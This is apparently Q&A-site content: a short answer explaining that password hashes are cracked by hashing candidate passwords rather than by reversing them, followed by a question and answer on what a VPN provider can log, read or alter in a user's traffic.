Simply put: No. Hashing is a one-way function and cannot be "decrypted" or "reverse engineered" (given you are attacking any semi-current hashing algorithm). Therefor, you need to hash all the potential passwords and compare those hashes against the hash you are trying to break.

If the hashes are not salted and not peppered, it is enough to calculate the hashes of all potential passwords once and compare them to the password hashes.

If the hashes are salted and/or peppered, you need to hash all potential passwords with the given salt/pepper and compare them against the individual password hash.

All of this is under the assumption that you know what hashing algorithm you are dealing with and how it is configured (iterations, salt, pepper, etc.)


What kind of data can be monitored/intercepted/altered by the VPN service provider? As you may know, Virtual Private Network or VPN is a system to create an encrypted tunnel between two computers on the internet, on one end is the VPN client, and on the other end is the VPN server. Everything the client does on the internet can be monitored by the VPN server, which will otherwise be monitored by the ISP and/or the government.

The question is, what kind of data can a VPN server log or monitor? Can the VPN service provider monitor or intercept the full length of the transmitted data, or are they able to do so for some part of it? Also, can they alter and re-transmit the data as it passes through the VPN server?

This question came to my mind after reading some articles warning about VPNs that log and sell user data to third parties. How do I know that the provider isn't doing such thing?

You asked a couple questions:

  What kind of data can a VPN server log or monitor?

Date, time, which server you connected to (IP and port), the size of the request, the response size, how many times you connected to it.

  Can the VPN service provider monitor or intercept the full length of the transmitted data, or are they able to do so for some part of it?

It depends. If the connection is encrypted (TLS, SSH, for example), the provider can intercept the message but cannot know its contents, as the encryption is meant to protect exactly against this kind of attack. If the connection is not encripted (FTP, Telnet, HTTP, POP3, and others) they can monitor and intercept everything.

Not only monitor, but copy, alter, and replay any message. Logged into a plain FTP Server? Your credentials can be copied. The files you transmitted can be copied or changed.

  Also, can they alter and re-transmit the data as it passes through the VPN server?

Same as above.

  How do I know that the provider isn't doing such thing?

The Terms and Conditions. Yes, that boring page full of legalese that almost nobody reads. Usually they will tell there (in cryptic language) what they monitor and what they don't.

Will they monitor you? Probably. Like every single Facebook beacon, every Google Analytics script, everything on everywhere you navigate. It's bad? Not worse than everything around you. And that's a legal thing to do (unless they say they will not monitor).

Will they steal your credentials and your data? Unlikely. Besides being illegal on almost every jurisdiction, it would bury their business pretty fast. They have other means to make money, and stealing data from their customers isn't the best one.

How to be sure you are not being monitored instead of protected? Rent your own VPS and install your own VPN. It may seem complicated (and it's not simple), but with the correct tutorial you can have a Linux installed and running wireguard in an afternoon, for less than 5 dollars a month.